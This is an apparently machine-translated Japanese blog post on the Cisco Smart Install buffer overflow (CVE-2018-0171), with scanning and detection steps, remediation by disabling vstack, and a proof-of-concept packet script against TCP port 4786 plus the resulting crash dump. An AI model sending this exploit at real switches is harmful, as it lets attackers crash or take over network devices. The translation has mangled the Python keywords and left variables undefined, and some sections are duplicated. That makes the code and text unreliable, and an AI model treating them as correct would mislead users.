Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86369930

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01はじめに

スマートインストールクライアントコードでは、スタックベースのバッファオーバーフローの脆弱性が見つかりました。攻撃者は、ログインを認証せずに任意のコードをリモートで実行できます。 Cisco Smartインストールは、新しいスイッチの簡単な展開を提供する「プラグアンドプレイ」構成および画像管理機能です。この機能により、ユーザーはCiscoスイッチをどこにでも配置し、ネットワークにインストールし、追加の構成要件なしで起動することができます。したがって、脆弱なネットワークデバイスを完全に制御できます。スマートインストールは、新しいスイッチに適したグラフィカルインターフェイス管理を提供するプラグアンドプレイの構成と画像管理機能です。初期構成プロセスを自動化し、オペレーティングシステムの現在ロードされている画像を介して新しいスイッチを提供します。この機能は、構成が変更されたときにホットプラグとホットプラグのリアルタイムバックアップも提供します。この機能は、デフォルトでクライアントで有効になっていることに注意してください。

0x02脆弱性の説明

Cisco iOSおよびiOS-XEシステムのSmartインストールクライアントコード(CVE-2018-0171)には、バッファスタックオーバーフローの脆弱性が存在します。攻撃者は、悪意のあるデータパケットをTCP 4786ポートにリモートで送信し、脆弱性を活用してターゲットデバイスのスタックオーバーフローの脆弱性をトリガーし、デバイスがサービスを拒否したり、リモートコマンドの実行を引き起こしたりし、攻撃者は脆弱性に影響を与えるネットワークデバイスをリモートで制御できます。 Cisco Switchであると報告されています

TCP 4786ポートはデフォルトで開いています

0x03脆弱性をチェック

1。シスコネットワークデバイスにTCP 4786ポートが開いている場合、攻撃に対して脆弱です。このようなデバイスを見つけるには、NMAPを介してターゲットネットワークをスキャンするだけです。

NMAP -P T:4786 192.168.1.0/24

2。ネットワークデバイスでスマートインストールクライアントの機能が有効になっているかどうかを確認するために、次の例は、スマートインストールクライアントとして構成されたCisco Catalyst Switchのshow vstack configコマンドの出力です。

switch1#show vstack config

chole: client(smartinstall exabled)

switch2#show vstack config

capability:クライアント

Opera Mode:有効になっています

役割:クライアント

役割:クライアントおよびオペラモード:有効または役割:show vstack configコマンド出力からのクライアント(smartinstall有効)情報は、この機能がデバイスで有効になっていることを確認します。

3. Cisco Machineでコマンドを実行して判断を下し、ポート4786を開き、SMIを使用します。

スイッチショーTCPブリーフすべて

tcblocalアドレス外国住所(州)

0344b794*.4786*。*聞いてください

0350A018*.443*。*聞いてください

03293634*.443*。*聞いてください

03292d9c*.80*。*聞いてください

03292504*.80*。*聞いてください

Cisco iOSおよびIEXソフトウェアバージョンチェック:

ルーターショーバージョン

Cisco IOSソフトウェア、C2951ソフトウェア(C2951-UniversAlk9-M)、バージョン15.5(2)T1、リリースソフトウェア(FC1)

テクニカルサポート: http://www.cisco.com/techsupport

Copyright(c)1986-2015 Cisco Systems、Inc。

Mon 22-Jun-15 09:32 by prod_rel_teamをコンパイルしました

iOS-xe-device#showバージョン

Cisco IOSソフトウェア、Catalyst L3 Switchソフトウェア(CAT3K_CAA-UNIVERSALK9-M)、バージョンDenali 16.2.1、リリースソフトウェア(FC1)

テクニカルサポート: http://www.cisco.com/techsupport

Copyright(c)1986-2016 Cisco Systems、Inc。

MCPREによるSun 27-Mar-16 21:47を編集しました

4.脆弱性が影響を受けたかどうかわからない場合は、CiscoのCisco IOSソフトウェアチェッカーを使用して検出できます。

https://tools.cisco.com/security/center/softwarechecker.x

5。次のスクリプトを使用して、対応するIPポートが実際に開いているかどうかを検出します。 Cisco SMIプロトコル

https://github.com/cisco-talos/smi_check/blob/master/smi_check.py

プロトコル機能はMSFにあります

https://github.com/rapid7/metasploit-framework/commit/c67e407c9c5cd28d555e1c2614776e05b628749d

#python smi_check.py -i targetip

[情報] TCPプローブをTargetIP:4786に送信します

[情報] Smart Installクライアント機能は、TargetIP:4786でアクティブになります

[情報] TargetIPが影響を受けます

0x04衝撃の範囲

インパクト機器:Catalyst 4500スーパーバイザーエンジン

シスコ触媒3850シリーズスイッチ

Cisco Catalyst 2960シリーズスイッチ

スマートインストールクライアントの一部を含むデバイスも影響を受ける可能性があります:Catalyst 4500スーパーバイザーエンジン

Catalyst 3850シリーズ

Catalyst 3750シリーズ

Catalyst 3650シリーズ

Catalyst 3560シリーズ

Catalyst 2960シリーズ

Catalyst 2975シリーズ

IE 2000

IE 3000

IE 3010

IE 4000

IE 4010

IE 5000

SM-ES2 SKUS

SM-ES3 SKUS

NME-16ES-1G-P

SM-X-ES3 SKUS

0x05脆弱性の確認

以下は、この脆弱性の検証のためのPOCです。

#smi_ibc_init_discovery_bof.py

ソケットをインポートします

インポート構造

OptParse Import optionParserから

#ターゲットオプションを解析します

parser=optionParser()

parser.add_option( '-t'、 ' - ターゲット'、dest='ターゲット'、help='スマートインストールクライアント'、デフォルト='192.168.1.1')parser.add_option( '-p'、 '-port'、dest='port'、type='int'、help=4786) parser.parse_args()

def Craft_tlv(t、v、t_fmt='!i'、l_fmt='!i'):

return struct.pack(t_fmt、t) + struct.pack(l_fmt、len(v)) + v

def send_packet(ソック、パケット):

sock.send(パケット)

def受信(靴下):

sock.recv()を返します

__name__=='__main __' :の場合

印刷'[*]スマートインストールクライアントに接続する'、options.target、 'port'、options.port

con=socket.socket(socket.af_inet、socket.sock_stream)

con.connect((options.target、options.port))

ペイロード='bbbb' * 44 shellcode='d' * 2048

data='a' * 36 + struct.pack( '!i'、len(payload) + len(shellcode) + 40) +ペイロード

tlv_1=craft_tlv(0x00000001、data)tlv_2=shellcode

PKT=HDR + TLV_1 + TLV_2

印刷'[*]悪意のあるパケットを送信

send_packet(con、pkt)

スイッチを攻撃するには、次のコマンドを実行します。

ホスト$ ./SMI_IBC_INIT_DISCOVERY_BOF.PY-T 192.168.1.1

スイッチでは、クラッシュメッセージを表示して再起動する必要があります。

00:10:35 UTC MON MAR 1 19933: CPUVECTOR 1200、PC=42424240の予期しない例外

-traceback=42424240

crashinfoをflash:/crashinfo_ext/crashinfo_ext_15に書き込みます

===フラッシングメッセージ(00:10:39 UTC MON MAR 1993)===buffered messages:

.

キューに掲載されたメッセージ:

Cisco IOSソフトウェア、C2960ソフトウェア(C2960-LANBASEK9-M)、バージョン12.2(55)SE11、リリースソフトウェア

(FC3)

テクニカルサポート: http://www.cisco.com/techsupport

Copyright(c)1986-2016 Cisco Systems、Inc。

ProD_REL_TEAMによってWED 17-AUG-16 13:46をコンパイルしました

命令TLBミス例外(0x1200)!

srr0=0x42424240 srr1=0x00029230 srr2=0x0152ace4 srr3=0x00029230

esr=0x00000000親愛なる=0x00000000 tsr=0x840000000 dbsr=0x00000000

CPUレジスタContext:

Vector=0x00001200 PC=0x42424240 msr=0x00029230 cr=0x33000053

LR=0x42424242 Ctr=0x014D5268 XER=0xc000006a

R0=0x42424242 R1=0x02B1B0B0 R2=0x0000000 R3=0x032D12B4

R4=0x000000B6 R5=0x0000001E R6=0xAA3BEC00 R7=0x0000014

R8=0x0000001E R9=0x00000000 R10=0x001BA800 R11=0xfffffff

R12=0x00000000 R13=0x00110000 R14=0x0131e1a8 r15=0x02b1b1a8

R16=0x02B1B128 R17=0x00000000 R18=0x0000000 R19=0x02B1B128

R20=0x02b1b128 R21=0x00000001 R22=0x02b1b128 r23=0x02b1b1a8

R24=0x00000001 R25=0x00000000 R26=0x42424242 R27=0x42424242

R28=0x42424242 R29=0x42424242 R30=0x42424242 R31=0x42424242

スタックtrace:

PC=0x42424240、sp=0x02b1b0b0

フレーム00: SP=0x42424242 PC=0x42424242

0x06脆弱性修正

#conf t

構成コマンドを入力します

ライン。 CNTL/zで終了します。

NSJ-131-6-16-C2960_7(config)#no

vstack

NSJ-131-6-16-C2960_7(config)#exit

重要なのは、この文がvstackなしです

もう一度見て、ポートがオフになっています。

#show TCPブリーフすべて

TCBローカル

住所の住所

(州)

075A0088 *.443

*。*

聞く

0759F6C8 *.443

*。*

聞く

0759ED08 *.80

*。*

聞く

0759E348 *.80

*。*

聞く

0x06脆弱性ハザード

これにより、攻撃者が影響を受けるデバイスにバッファオーバーフローを引き起こす可能性があります。これには、次の効果があります。

トリガーデバイスリロード

攻撃者がデバイスで任意のコードを実行できるようにします

影響を受けるデバイスに無限のループ再起動を負担すると、それはデバイスのクラッシュです

0x07脆弱性修正

#conf t

1行に1つの構成コマンドを入力します。 CNTL/zで終了します。

NSJ-131-6-16-C2960_7(config)#no vstack

NSJ-131-6-16-C2960_7(config)#exit

重要なのは、この文がvstackなしです

もう一度見て、ポートがオフになっています。

#show TCPブリーフすべて

TCBローカルアドレス外国住所(州)

075A0088 *.443 *。 *聞いてください

0759F6C8 *.443 *。 *聞いてください

0759ED08 *.80 *。 *聞いてください

0759E348 *.80 *。 *聞いてください

0x08参照

https://EMBEDI.com/blog/cisco-smart-install-remote-code-execution/

https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20180328-smi2

https://www.anquanke.com/post/id/103122

https://mp.weixin.qq.com/s/cmyuugfmox5pk89fo_er8w

https://www.youtube.com/watch?v=ce7knk6ujukfeature=youtu.bet=99

https://www.youtube.com/watch?v=tsg5ezvudnufeature=youtu.be